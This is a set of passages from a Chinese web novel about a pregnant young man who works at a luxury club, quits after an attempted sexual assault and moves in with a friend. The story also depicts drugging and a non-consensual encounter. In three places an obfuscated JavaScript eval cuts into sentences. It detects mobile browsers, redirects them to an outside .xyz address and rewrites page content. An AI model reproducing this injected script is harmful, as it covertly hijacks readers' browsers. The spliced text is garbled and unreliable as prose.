诸如此类的帖子他发了不少,以至于那段时间学校里几乎人人都知道,学校里有个gay。 最让林庭安生气的是,那帖子下面的回复乌烟瘴气的,甚至有人直接问“约不约?” 这玩意是能给他爸妈看的吗? 偏偏林岩那小子不知轻重,几张纸就帮他出柜了。 当然,林庭安也没轻易放过林岩,那家伙估计现在还在国外农场养牛呢。 再说回这事,他爸妈知道他喜欢男人的第一天,那是“哭天抢地”,好像他这辈子就完了一样。 第二天两老人家回过味来,开始疯狂往家里带门当户对的姑娘。 林庭安做人做事有自己的原则,祸害别人的事,他不会昧着良心干。 过了一个礼拜,他爸妈也知道他油盐不进,又另辟蹊径劝他找个男朋友试试,说他没谈过恋爱怎么确定就喜欢男人。 林庭安直言:“我对女的硬不起来。” 爸妈气得不行,当起了甩手掌柜,只是每天都会一个短信催他找男朋友。 林庭安烦啊,每天两眼一睁手机上就弹出一条:【儿子,找没找到男朋友?】 搁谁谁不烦? 终于,在一个月前林庭安受不了了,他吩咐会所的高级经理给他找个了干净的男孩来。 他的要求很简单,年轻干净,无过往情史,必须是个gay。 那天晚上气氛还算好,那男孩看着倒是符合他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799715|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要求,所以那杯端上来的红酒他一滴不剩喝了。 林庭安知道这会所里的酒不能乱喝,尤其是一场情事之前的酒,百分之一百零一里面有助兴的东西。 喝完酒,那男孩接了个电话,然后找个借口出去了。 林庭安没客气,拿起男孩的手机看了眼,只见上面是男孩跟他前男友的对话框。 原来这位早就不干净了,还有个藕断丝连的男朋友。 林庭安火气蹭蹭往上冒,他那十几万早就打到了那男孩的账上,那经理就找了这么个二手货骗他?! 可惜当时药劲已经上来了,他神志不清连自己做了什么都不知道。 只知道第二天早上醒过来,浑身上下哪哪都舒服,床单皱成一团,上面满是粘腻的东西,还有一片血迹。 林庭安就是再不懂,也知道他跟人厮混了一晚。 当天他就让人绑了那男孩,可那人却说那天晚上不是他,林庭安让人带男孩去检查,确认了真的不是他才把人放走。 可他到底把谁给干了? 一想到那片血,林庭安心里就烦躁,他让经理调出了那天的监控,可那监控的位置真是巧妙只拍了他和那男孩的脸,另一位就只有个背影。 这么不清不楚过了一个月,林庭安还时不时想到这事。 尤其今天上午他回家吃饭,饭桌上他爸妈又问他,找没找男朋友。 他摔筷子就走了,临走还留下一句:“一个月前刚睡了一个,要不要带回家给你们看看啊?” 林庭安气啊,他怎么就稀里糊涂把人睡了,这错误太低级,说出去都丢脸。 “林少,您是不是醉了?”一旁的服务生开口提醒,“顶楼您的房间都收拾好了,我送您上去?” 林庭安一看到服务生身上的衣服,就想到了监控里那个瘦瘦小小的身影。 他也穿了个这样的制服,只是他瘦的跟干一样,那衣服穿他身上感觉都漏风。 林庭安没接话,摆了摆手,自己开门走出了包厢。 他来这多半是跟朋友聚会,有时候也会去楼上睡一觉放松一下。 可自从出了上个月那事,林庭安就莫名开始抵触在这休息,躺在那张床上,他只要一闭眼就是一个稚嫩的声音,在他耳边低喘。 那声音不甜腻,反而很清冽,那人的嗓子好像是哑的,叫出来的声音都带着裂痕。 这样的幻听太折磨人,以至于林庭安已经很久没去楼上休息了。 走出包厢,他脚步虚浮顺着走廊往电梯的方向走。 隔壁的包厢闹哄哄,他经过时听到里面淫靡的声音,不禁皱了皱眉。 刚巧,这时有个服务生上来,停在了隔壁包厢的门口。 林庭安上下大量了服务生一眼,心想,这会所里怎么这么多瘦干? 那服务生是个懂事的,朝他微微点头致意,就下定决心般推开包厢门走了进去。 林庭安顿了顿,看到这张瘦削的脸,他的耳边好像又出现了之前那种幻听。 “爽不爽?” “很……很舒服,呜呜呜我很舒服。” 林庭安:…… 舒服为什么哭? 5. 第 5 章 指名道姓要沈茁去的那位王总,是个两年前发家的暴发户。 王总虽然只有四十出头,长得却很着急,看着倒像是五十多岁的中年人。 他平日疏于锻炼,身上都是肥肉,大腹便便的样子走几步路就要喘一喘。 沈茁刚推开包厢门,就闻到了里面难闻的味道,他生理性干呕了一下,又很快调整好状态,换上了标志性的笑脸。 包厢里的人不多,包括王总在内只有三个客人,除此之外剩下的四个都是会所的少爷。 其中一个跟沈茁还算熟,正是方经理提到的那个小天。 房间里灯光很暗,正中间的方桌被人移开,铺了张厚毯子在地上,有两个老总已经跟人在角落里玩开了。 只有那位王总坐在沙发上,像是在等什么人,等的人是谁,不言而喻。 沈茁进来时,小天正在给王总倒酒,看清进来的是他,小天的脸色瞬间变了。 “王总,我一个人伺候您还不成,叫别人来干嘛?”小天坐到王总腿上,把酒杯递到他嘴边,“您让他出去吧,我最近新学了调酒,我给您调一杯。” “上一边去!”王总丝毫不留情面,一把推开小天,骂道:“滚出去,什么东西轮到你替老子做主了?” 小天碰了一鼻子灰,也不敢说话了,放下酒杯灰溜溜地走了。 出了门他嫌弃地甩了甩手,心里默念:刚收了那肥猪几万,赚钱的事不寒碜,就当被狗咬了。 这么想着,小天的心情好了不少,边哼小曲边往休息室走。 沈茁就没那么好运了,自打他进来那道不善的目光就一直在他身上逡巡。 滑腻、猥琐,像是刚炸好的肥肉一样滋滋冒油。 他端着新开的威士忌走到王总身边,刻意回避那道粘腻的眼神,恭恭敬敬倒好了酒,“王总,您的酒。” 说完,他转身要走,意料之中被人握住了手腕。 虽然是服务员,但被客人动手动脚也是常有的事,沈茁每次都能巧妙应对过去。 这次他像往常一样,不着痕迹地抽出手,面带笑容地看着王总说:“王总,您先喝着,我那边还有客人,您有事再叫我。” “别走啊,”王总加重了手上的力道,用力一拉把人拽到了怀里,“沈茁,你自己说说你躲我多少次了?这次你以为我会轻易放过你?” 酒气和臭气一起钻进鼻子里,沈茁强忍着才没吐出来,王总抱他抱得紧,恨不得要把他勒死。 那种紧紧箍着的感觉,像是海底的水鬼要拉人下水,沈茁感到无比窒息。 他突然开始慌了,心脏砰砰跳了起来,用力挣扎了几下,发现挣脱不掉,沈茁改了策略耐心劝道:“王总,您知道我只是个服务生,没有额外的服务的。” “放你娘的屁!” 这话也不知戳到了王总哪根筋,他突然暴怒,青筋跳起,瞪着眼睛把沈茁压到了沙发上,“都这时候了还骗老子?!” “我听人说你上个月刚跟人上了床,怎么,看不起老子?老子回回来点你,倒杯酒就给你一万,你以为你真值这个价?!” 说着,他手上的动作也没停,粗暴地撕开沈茁的衣服后,肥硕的脑袋就开始在沈茁身上到处拱。 沈茁心里咯噔一下,他顿感心累,什么倒杯酒就一万,自打来这工作他除了基础工资,根本没收到一分钱的小费。 看来这钱都被方经理吞了,怪不得,怪不得方经理总是撺掇他来接客。 “王总,我没跟别人上床,”沈茁推开油腻腻的脑袋,急促喘息道:“我也没收你的钱,你的钱都在方经理那,我……” 没等他把话说完,王总的巴掌就打了下来。 沈茁眼疾手快,侧头躲了一下,虽然躲过了那结结实实的一巴掌,但左侧脸颊还是被刮了一下,留下了一道长长的红痕。 “只要你跟了我,你想要多少钱我都给。” 王总精虫上脑,哪管沈茁说什么,急吼吼脱掉上衣,按住沈茁的脖子就要脱他的裤子。 动作间,那坨啤酒肚刚好压在他的肚子上,沈茁担心压到孩子,也不知哪里来的力气,手脚并用把身上的人推了出去。 推开人他来不及整理衣服,抬腿就跑。 却在经过门口时,被人从后面抓着头发拽了回来,沈茁头皮一疼,一个踉跄摔倒在地。 拉他的人正是跟王总一起来的男人,那人看着年龄不大,长得像个瘦猴,尖嘴猴腮看着就很精明的样子。 “王总,您这也太温柔了,”瘦猴笑嘻嘻地扶起王总,奉承道:“要不我和马三帮您架住那小子,您想怎么玩都行,准保他跑不了。” 说话间,那个叫马三也提起裤子走了过来,“王……王总,都是您一句话的事,我……我们都听您的。” “好……好!”王总像是块掉在地上的肥肉,被人重新抬到了沙发上,他一脸怒气指着沈茁说:“把他给我绑起来,老子玩完了就给你们玩。” “得嘞。” 一旁的沈茁脸色煞白,他用手捂着肚子,感觉小腹处似乎又传来了丝丝疼痛。 那三人说的话一点点蹦进耳朵里,沈茁心里只有一个念头,必须快点逃出去。 在这工作短短两个多月的时间,沈茁不止一次见到有人被担架抬着出去。 偶尔跟同事聊八卦,也听他们说起过,这里有的客人非常变态,不把人玩坏了不罢休,不论他们把人折磨成什么样,事后赔点钱也就没人追究了。 沈茁撑着地板跌跌撞撞爬了起来,他倒是不在乎自己的生死,但现在他有了孩子一切都不一样了。 他有了要守护的人,这给了他前所未有的勇气。 一个对未来没期望的人,或许不会在乎自己的□□如何破败,但一个重燃希望的人,绝对不会允许任何人浇灭他的希望。 沈茁双腿发抖,直起身体跟对面的三人对峙。 他瞥了一眼角落里瑟瑟发抖的三个男孩,在这里人人自危,谁都怕丢了工作,沈茁不指望他们能帮自己。 他握紧拳头,目光落在了斜前方不远处的酒瓶上。 “那小子要动家伙!”不知谁突然喊了一声。 尖锐的声音响彻整个包厢,话音未落沈茁就用生平最快的速度抄起了脚边的酒瓶,酒瓶里还有不到三分之一的酒水。 他随手一扬,对面那三人纷纷侧开了头,趁着这功夫沈茁将酒瓶重重砸向了沙发上的那坨肉,然后头也不回跑了出去。 会所的走廊铺着柔软的红地毯,沈茁踩着漆黑的皮鞋跑在上面。 他感觉自己的心在猛烈地跳动,这种不计后果的感觉真的很爽,他好像找到了丢失很久的生命力。 人人都说年少轻狂,但自打出生起沈茁就没有过这样的时候。 他脑子里想的永远都是如何活下去,怎么吃饱饭,不让自己饿死在第二天的清晨。 但现在奔跑起来,他的胸腔和大脑在共鸣,他是一个人却又不只是一个人! 下了一楼,沈茁好巧不巧撞到了方经理,他冷静下来朝方经理走了过去。 “沈茁?”方经理面带微笑,露出了狐狸一样精明的眼神,“怎么样,跟王总玩得好不好?” 此时此刻,沈茁本就宽松的工作服松松散散挂在身上,方经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799716|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理怎么看不出来他经历了什么? 沈茁冷着脸,解开半挂着的领带,抽出来砸到了方经理身上。 “我不干了!”他说。 “沈茁!”方经理厉声道,他在这干了这么长时间,还没人敢这么对他,他恶狠狠地说:“你以为这是你想来就来,想走就走的吗?” “方经理,你私吞客人给我的小费,你应该知道这事让上面知道的话,你会面临什么吧?”沈茁沉静道。 这家顶级会所之所以会有这么多年轻优秀的员工,前仆后继地来这工作,就是因为管理制度严格,别的另说,单说工资和小费,上面明文规定必须实打实进到员工的口袋。 方经理私吞小费,只要沈茁举报上去,他必然会丢掉工作。 “沈茁……”方经理咬牙切齿,半晌才吐出个“滚”字。 怕楼上那三人追下来,沈茁无意再跟方经理纠缠,迈开步子快速离开了会所。 刚走了没一条街,沈茁就听到有人在身后叫他。 转过身,沈茁看到小天拎着一袋东西跑了过来,边跑边说:“沈茁,你可真牛!” 沈茁刚刚热血上头,现在那股冲劲慢慢褪去,身体和情绪都后知后觉开始发疼。 他停下脚步,等小天过来。 “给你,我在休息室看到的,”小天把手里的袋子递给他,“这里面的东西应该是你的吧?” 沈茁接过袋子,里面是他刚做的b超单,还有换下来的衣服。 b超单…… 沈茁心里咯噔一下,他下意识看向小天。 “我可没看你的东西嗷,”小天连连摆手,有些愧疚地说:“之前我不小心把你进了客房的事跟方经理说了,我是一时嘴快,真不是故意的。” “沈茁,听说你刚才把那猪头给打了?”小天一脸兴奋,语气里不自觉带了些崇拜,“咱们这儿的客人我最讨厌他了,你把他打了我可太开心了!” 沈茁略带苦涩地笑了笑,“谢谢你小天,我辞职了以后就不在这工作了,你也不用跟我道歉,就算你不说方经理今天还是会让我去招待的。” “辞职了也好,你纯干素的在这也赚不了多少钱,还不去找个普通的工作。” “行了,那我就先回去了。” “嗯。” 沈茁看着小天远去的背影,心里的情绪竟意外地平复了下来,他说得没错,比起在这当个服务生还不如找个正常的工作。 抬手摸了摸肚子,沈茁的脸上渐渐浮现一抹温柔的笑。 经过这么一遭,沈茁最担心的是肚子里的宝宝,他立刻坐地铁回了家,想把老中医给他的安胎药熬了喝掉。 现在正是夕阳西下的时候,京都最偏远的城郊只有景色是比市区美的。 楼下的小摊摆了一长排,煎饼果子、桂花糕、烤冷面、蒸鸡蛋…… 各种香味混在一起,沈茁闻着突然就饿了,他在离家最近的摊位买了袋馄饨,拎着馄饨上了楼。 在这住了这么长时间,沈茁对这些小摊多多少少有些了解,他知道卖馄饨的老板是个洁癖,不仅摊位干干净净,就连用料也是最新鲜的。 这样的东西,孕夫吃了应该没问题。 直到回家前,沈茁的心情都是好的,他虽然丢了工作,但却感觉无比解脱。 可这种解脱感,在看到自家敞开的门时,瞬间被一种不祥的预感取代了。 沈茁的心里升腾起一股恐惧。 他每次出门都一定会锁好房门,绝对不会这样大咧咧地开着门就离开。 攥着袋子的手紧了紧,沈茁有种预感,今天注定是个不眠之夜。 6. 第 6 章 沈茁轻手轻脚走到门口,将自己藏在门后,用手指轻轻推了推门,确保自己能看到屋内的情况。 老旧的房门发出一道微小的“滋啦”声,他借着残存的日光,看到自己的房间被翻得乱七八糟。 那几包牛皮纸包着的中药被人撕开,撒了一地,满屋都是中药味。 就连垃圾桶也没能幸免,白色的纸团和塑料包装也被翻了出来。 那张本就不大的铁床上躺了个人,那人一只手抱着酒瓶子,另一只手握着沈茁的白衬衫,在身下做着不雅的动作。 沈茁看清了那人的脸,正是他隔壁的酒鬼。 一股恶寒打心底升起,沈茁突然觉得有些可笑,一天之内他竟然两次遇到这种事,这算什么? 老天觉得他之前的人生不够苦,所以要再加点猛料吗? 屋里那人显然没把房子的主人放在眼里,他的动作越来越大,甚至没有控制声音,淫靡的声音清晰地传到了沈茁的耳朵里。 他咽了咽口水,深吸一口气慢慢向后退了一步,将自己整个人都隐匿在了门后。 如果是在以前,哪怕是在昨天之前他还不知道自己怀孕的时候,沈茁也有勇气冲进去把那个酒鬼赶出自己家。 可现在他不得不考虑自己的身体,他要排除一切可能伤害到肚子里孩子的危险因素。 一定是房东藏了备用钥匙,所以这人才能这么轻松打开他家里的门。 沈茁在心里连连叹息,他侧头看着夕阳下的街景,京都是多么繁华的地方啊,可这里却完全是灰色调的,夕阳落幕后,唯一的色彩都消失殆尽。 这样的地方也住着几个孩子,大多是还在上幼儿园的年龄,这旁边有一家政府扶持建设的幼儿园,沈茁曾经路过那里,看着里面的孩子就好像看到了小时候的自己。 他们穿着廉价的衣服,在雨后泥泞不堪的地面上蹦蹦跳跳,幼儿园里没什么新鲜的设备,里面的孩子却好像一点烦恼都没有,每天乐呵呵的。 想着,沈茁的心突然一紧,从前他没考虑过,但现在他不得不承认,他不希望自己的孩子以后出生在这样的地方,他的人生也不应该继续消耗在这里。 从前贪图安稳找到住的地方就轻易不会搬走,但现在沈茁满脑子都是离开,这里的人这里发生的事,从前的工作和居所,无一不让他感到厌烦。 他的肚子里有了新的生命,他自己也需要新的生活。 筒子楼就像是上世纪遗留下的旧物,没有智能锁和高科技,每一户用的还都是最传统的锁头。 沈茁看着房门上的挂锁,心里已经有了打算,他的大脑飞速思考,只用了一分钟就做出了决定。 紧紧握住手里的袋子,他用最快的速度关上了房门,抓住挂锁旋转再扣上,动作一气呵成。 自从发现自己在被酒鬼偷窥,沈茁就把房间唯一的窗户封了个严严实实,他宁可不开窗也要保护自己的安全,所以里面的人一时半会是出不来的。 沈茁关门的声音不小,里面的人也很快恢复了神志,跳下床边拍门边叫骂。 咚咚咚的拍门声像晴天的惊雷,让本就不安静的小区更加吵闹。 可沈茁却突然有种做了坏事后隐秘的欣喜感,他掏出兜里的钥匙插到了门锁上,拎着馄饨下了楼。 他不知道要去哪,但是很开心。 不知道以后怎么养孩子,但是很开心。 不知道以后的人生如何,但是太特么开心了! 对沈茁来说,这是前所未有的自由的感觉。 他一直走一直走,左手拿着已经凉掉的吃食,右手稳稳护着肚子。 想到房间里为数不多的家当和身份证件,想到自己今晚可能就会露宿街头,想到一天内他同时失去了工作和住的地方。 沈茁却没有一丁点的孤独感,因为他的全家他的一切都在他身上。 天彻底黑下来时,沈茁才终于冷静下来,他先是给隔壁的热心大姐打了个电话,拜托她帮自己把衣柜里用袋子装着的身份证件拿出来收好。 然后又打给房东,简单交代了事情的经过,提出要退租,房东也知道自己儿子是怎样恶劣的人,违约金也不要了只说叫沈茁赶紧搬走,别再回来。 最后他去了中医馆,千恩万谢又在老中医那拿了几包药。 处理好这些,沈茁自己都不知道自己走到了哪,他随便找了个长椅坐下。 在路灯下,匆匆吃掉了已经坨成片汤的馄饨。 现在正是蚊虫多的时候,没一会沈茁身上就多了几个大包,他看着头顶的光不知该何去何从。 想来想去,在京都他能求助的似乎只有那一个人。 那是他之前在酒店工作时认识的朋友孟也,孟也只比他大了三岁,阅历却比他丰富多了。 一年多前他初入社会,做起事来毛手毛脚的,全靠孟也帮他说好话才少挨了些训。 思忖良久,沈茁拨通了孟也的电话,很快电话就被接通了。 “沈茁,你怎么想着找我了?”孟也的声音有些尖锐,听起来很兴奋的样子。 “孟哥,那个……”沈茁支吾了半天,不好意思地说:“你能不能收留我几天?” “诶呀诶呀,都说了不用叫我哥,把我叫老了!”孟也的语气愈加兴奋,“你终于想通要过来跟我一起住了?太好了,你等着我把地址发给你!” * 沈茁没想到孟也竟然在一年内,从几环外搬到了市中心。 他下了车按照地址找到了那处高档小区,还没进小区就看到对面飞奔过来一个人。 那人穿着宽大的白背心和黑色的短裤,踩着一双拖鞋踢踏踢踏就过来了。 那样子有点像刚学会走路的企鹅,着实可爱。 “小沈,沈茁,你怎么现在才联系我!”孟也扑过来抱住沈茁,亲昵地用脸蹭了蹭他的肩。 沈茁还没反应过来,孟也突然松开他,生气地跺了下脚,“哼!当初你辞职的时候,说好了常联系的,可你一个电话也没给我打!” “我等了一天,等了两天,等得花都谢了你也没给我打电话,本来我想给你打的,但是想一想那也太没骨气了,我就一直等,就等着你今天打给我呢!” 孟也抱着胳膊一副很生气的样子,但话尾上扬的语调却暴露了他心情不错。 沈茁知道他没真的生气,他一直没给孟也打电话是真的不知道有什么好说的。 大概是缺少正常家庭教育的原因,他似乎不怎么懂得该如何社交,也不懂该怎么在没有任何事情的时候,去找一个人闲聊。 聊什么呢? 沈茁自己都觉得自己的生活枯燥又乏味,别人肯定也不会喜欢听的。 “对不起啊,”沈茁愧疚地说,“不好意思这么晚来打扰你,因为我租的房子突然……” “诶呀,解释那么多干嘛,”孟也打断道,“你就一直在我这住,我开心还来不及呢。” 一路上孟也就像只小麻雀,一会问沈茁怎么瘦了,一会又问他现在在哪工作,刨根问底恨不得把他这几个月做了什么全问出来。 小区里绿化很好,也很安静,孟也家就在靠近小区门口那一栋。 “我家大吧?” 进了屋,孟也找了双新拖鞋给沈茁,又去冰箱拿了瓶矿泉水给他,两人坐在沙发上开始聊天。 “是不是很惊讶,我之前还住在老破 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曾经两人在小阁楼里谈心,孟也跟沈茁提到过冯尽,那时候孟也满面春风说自己找到了最最最喜欢的人。 他说看来有钱人也不都花心,说冯尽跟他之前的对象都不一样。 沈茁第一次知道男人还能跟男人在一起,就是从孟也的口中。 只是没想到一年之后,孟也分手了,他这个从来没谈过恋爱的却有了孩子。 这世界还真是奇妙,沈茁不由感叹,一年的时间足以发生太多的事情。 “不提那个渣男了,”孟也忿忿开口,他看了眼沈茁手里的矿泉水,“你不喜欢喝水的话,我那还有酒和咖啡。” “不用了,谢谢。”沈茁连连摆手,手里的矿泉水冰冰凉凉的,他怀着宝宝还是少喝为妙,咖啡和酒就更不能喝了。 “那么客气干嘛,”孟也喃喃道,“你就放心在我这住着,又不叫你付房租。” 两人这么一来一回聊了几句,也算是熟络了起来,就连沈茁这个慢热的也逐渐打开了话匣子。 孟也是个实打实的e人,自打沈茁走了他就没几个交心的朋友,好不容易抓到个人陪自己,他兴奋得像峨眉山的猴子。 得知沈茁已经吃完了晚饭,他兴致冲冲说要跟沈茁夜聊,硬把沈茁拉进了自己的被窝,两人并排躺着说话。 “沈茁,我跟你说别相信有钱人,越有钱的越不能相信,要图就图钱,千万别图感情,不然准没咱们好果子吃!” 孟也说了一堆怨词詈语,沈茁安安静静听着,心里却在想别的事情。 他打算把自己怀孕的事告诉孟也,却不知该怎么开口。 孟也这个人刀子嘴豆腐心,为人最重感情,是肯为朋友两肋插刀的那种人。 可尽管如此,沈茁还是害怕,如果孟也知道他怀孕了,会如何看他,会不会觉得他是个畸形的人,是个怪物? 会不会就此他连唯一的朋友也要失去了…… 沈茁想得出神,完全没注意到身旁的人絮絮叨叨下了床。 孟也说了半天突然口渴,想起了那瓶矿泉水,于是摸着黑去了客厅。 几分钟后,客厅传来了一阵尖叫。 “啊啊啊啊啊啊啊啊啊啊啊啊!” 孟也张大了嘴,手里拿着个袋子,从客厅跑回卧室,啪一下按开了灯,瞪大了眼睛说:“谁怀孕了?沈茁你怀孕了?!” ??? 沈茁也惊呆了,他震惊于孟也的脑回路。 这个男人究竟是为什么,一下子就认定了怀孕的是自己,一个男人?! 7. 第 7 章 “所以你的意思是,一晚上就中了?”孟也惊呼,“你男人也太厉害了吧!” 沈茁被说得双脸通红,他捂住脸羞赧到不知道该说什么。 “我要是能怀孕就好了,”孟也语气遗憾,小声嘟囔:“我要是能怀孕,我就要那个死渣男好看!” “我就先留下点线索,再带着孩子跑,就跟那灰姑娘一样,让冯渣男拎着我的水晶鞋来追我。” 孟也几句话就编了个故事,说完他像是想到了什么,抓着沈茁的手兴奋地说:“你袋子里那几袋药是不是传说中的安胎药,要不我现在给你煮了喝?” “不用,”沈茁心里有种说出上来的感动,他拉住孟也欢脱的手,“孟哥,那个我明天自己煮就行,现在太晚了咱们睡觉吧。” “对对对,你怀孕了得好好休息。” 孟也一个翻身下床,关掉了卧室的灯,重新返回床上对沈茁说:“我能当你孩子的干爹吗?” “当然可以。” 沈茁在黑暗中摸了摸自己的肚子,他这个人没那么多讲究,孟也帮了他很多,让孩子认他当干爹是应该的。 “小宝宝,你要快快长大,长大了干爹陪你玩。” 孟也小心翼翼伸出手,碰了一下沈茁的肚子,他没敢上手摸,听说孕妇的肚子摸不得,尤其不能转着圈摸,不然孩子容易脐带绕颈。 沈茁笑了笑,心里升腾起一股温暖,“晚安,孟哥。” “晚安。” 孟也家的床格外柔软,沈茁很久没睡过这么软的床了,以至于他久久未能入睡。 睡不着的原因不只这个,沈茁侧身躺着耳边是孟也平稳的呼吸声,这是他生平第一次感受到真正的安定。 从前他是有些逃避社交的,大概是小时候吃百家饭的缘故,沈茁经常撞到有人在背后说他,说他如何悲惨、何其不幸。 所以他从小就知道,人都是当面一套背后一套,见不同的人总有不同的话说。 透析这些后,沈茁总觉得人与人之间的交往都带着虚伪,他讨厌虚伪,所以厌烦社交。 但是孟也是真诚的,沈茁能感受到。 他再次抚上自己的小腹,现在他的肚子还是扁平的,一点不像有了宝宝的样子。 一想到那么小小的一个胚胎,以后会越来越大,然后从他的肚子里出来,长成一个大人,沈茁就激动得难以言喻。 这是上天送给他最好的礼物,他一定一定要保护好。 * 第二天,沈茁睡到了日上三竿才醒。 起来的时候,孟也已经买了早餐回来,又非常贴心地把早餐放到了床边,沈茁刚醒就被喂了一口粥。 不等他反应,孟也就一口接着一口把一碗粥都喂完了。 “我已经很久没工作了,”孟也说,“也挺久没跟人说话聊天了,你就住在我这吧,别另外找房子了。” “会不会太麻烦你了,”沈茁心里很过意不去,他没办法一下子就承受这么热烈的亲昵,“孟哥,你对我太好了,我实在不知道该怎么回报你。” “我对别人好不是为了图回报的,”孟也拿起一个鲜肉包塞进沈茁嘴里,“快吃,那药我按照上面的方法给你煮好了,吃完包子你把药喝了。” 沈茁被孟也的动作吓了一跳,他就着孟也的手咬了一大口包子,两侧的脸颊瞬间鼓了起来,快速嚼了几口,含糊不清地说:“好,谢谢。” “啊啊啊啊,你这样像个小仓鼠,好可爱!” 孟也被萌化了,他托起沈茁的脸狠狠揉搓了几下,“沈茁,要不咱俩凑合凑合一起过日子吧。” 沈茁:“啊……啊?” “你是1还是0?”孟也煞有介事地问,下一秒他一拍脑袋,边摇头边可惜地说:“你看我这脑袋,你都怀孕了,肯定是0啊。” “完蛋了,撞号了,太可惜了太可惜了!” 沈茁脑子还没转过来,他对两个男人之间的事实在不怎么了解,唯一的经验就是那个不怎么愉快的晚上,那场艰涩又痛苦的情事。 他突然想到了那个男人,他宝宝的另一个爸爸。 那个人身材很好,那时候他好像摸到了那人的腹肌,有好几块呢! 就是……就是那人的技术太差了。 那种刻入骨髓的痛楚,哪怕是现在想起,沈茁依旧胆战心惊。 “你脸怎么红了?”孟也突然提高了音量。 “我没有!”沈茁下意识反驳,立刻捂住了脸,“我没脸红,我什么都没想。” “老实交代,你是不是想男人了?” 沈茁太古板了,明明才十八岁却跟个迂腐的老学究一样,孟也好不容易抓到他的小辫子,自然不能轻易放过。 “快说,是不是想孩子他爹了?” 孟也猎豹一样扑过去,把沈茁压在床上,去挠他的痒痒。 “哈哈哈哈哈哈,没有,”沈茁一身痒痒肉,孟也不论碰他哪他都会一嘚嗦,“孟哥,哈哈哈哈,你……你饶了我吧,我肚子都笑疼了。” “放了你了,”一听沈茁说肚子疼,孟也立刻停下了动作,“差点忘了你肚子里还有宝宝呢。” 冷不丁这么一闹,沈茁的心情好了不少,他气喘吁吁躺在床上,看着天花板上的水晶灯。 剧烈的动作让他的胸腔大幅度起伏着,额上的汗珠打湿头发,几缕乌黑贴在脸上,天生冷白的皮肤逐渐变得红润,就连嘴唇也由淡粉转为了朱红。 跟孟也不同,沈茁的长相很清淡,并不艳丽。 他长久处在孤寂中,独来独往不喜与人交流,时间长了周身的气质也跟着变得清淡。 现下突然有了人味,就像干瘪的葡萄干突然变成了水灵灵的葡萄粒一样,灿然耀眼。 “孟哥,”沈茁爬起来,咽了咽口水,“要不我当1,你当0,咱们一起过日子吧。” “诶呦!”孟也的音调又高了几个度,他眉头挑得老高,用狐疑的眼神上下打量了沈茁几下。 “我费劲巴力伺候你,你却想着反攻我?” 孟也气得头发都竖了起来,嘴不留情讥讽道:“就你这小身板,一碰一激灵,天生当0的料,还想着反攻?!” “吃你的饭吧,”孟也气呼呼地走了,边走边絮叨:“孩子都揣肚子里了,还真敢想。” 沈茁坐在床上摸了摸鼻子,他不懂为什么孟也反应这么大。 明明昨天晚上是孟也自己说,做上面那个很累、又辛苦的,怎么现在反而生气了呢? 想不明白的事,沈茁干脆不想了。 吃完饭喝了药,他跟孟也打声招呼,就出了门。 他的身份证件还有那张银行卡,都在隔壁大姐那存着,大姐是个好人但拖得越久事情越多,还是得赶紧把东西取回来。 “小沈,好端端的你怎么突然就搬走了呢?” 隔壁大姐递给他一个灰蓝色的布袋,交代道:“你的东西都在这里面,身份证啥的我都放小夹层里了。” “你是不知道昨天你那屋有多闹腾,整栋楼都没睡好,”隔壁大姐凑过来,小声对沈茁说:“你那房东打他儿子,打了一晚上。” “没影响您休息吧?”沈茁问。 “没事,”大姐摆摆手,“咱这小区有哪天是安静的,那死小子是啥人品?他被打了,我就是听一晚上,不睡觉都开心。” “真的麻烦您了。” 沈茁听大姐这么说,心里的愧疚消了不少,他接过自己的行李,临走的时候飞快往大姐怀里塞了几百块钱,然后小跑着下了楼。 大姐在后面叫他的名字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“抱歉。”沈茁声音颤抖,浑噩地拿回了那张卡。 转身离开的时候,他听到柜员小声嘟囔了句:“什么人啊,跑银行来骗钱了。” 沈茁脑子嗡一下,瞬间变成了空白。 周围嘈杂的人声逐渐变小,他的世界像被抽了真空,没有声音只有自己沉重的呼吸。 骗? 沈茁突然想笑,呵,他的人生还真是个笑话。 为了钱被人上了一晚,疼到要死也忍着,明明那么难受却还要假装开心,明明那么想跑却硬生生把自己钉在了床上。 就为了那五万。 就为了五万。 他是穷但也不是没有尊严,就算是小时候他吃了邻居家的饭,也会在第二天主动帮邻居干活,就为了不被人说是白吃饭的。 可现在他却被人白干了一晚上,他一个男人还因此有了孩子。 这不是老天在戏弄他是什么?! 沈茁行尸走肉般走在大街上,痛苦在身体里蔓延,麻木到双腿发软。 他扶着路边的柳树,狠狠抓着胸口的衣服。 眼泪瞬间决堤,顺着脸颊啪嗒啪嗒地流。 沈茁怔怔看着面前的土地,他知道没有这五万,他是生不下这个孩子的。 医院虽然免去了一部分产检费用,但是因为他情况特殊,每个月检查加吃药也要千八百。 孩子生下来的尿不湿,婴儿用品,奶粉都是不小的费用。 他也不能真的一直住在孟也家,总是麻烦别人。 他……养不起。 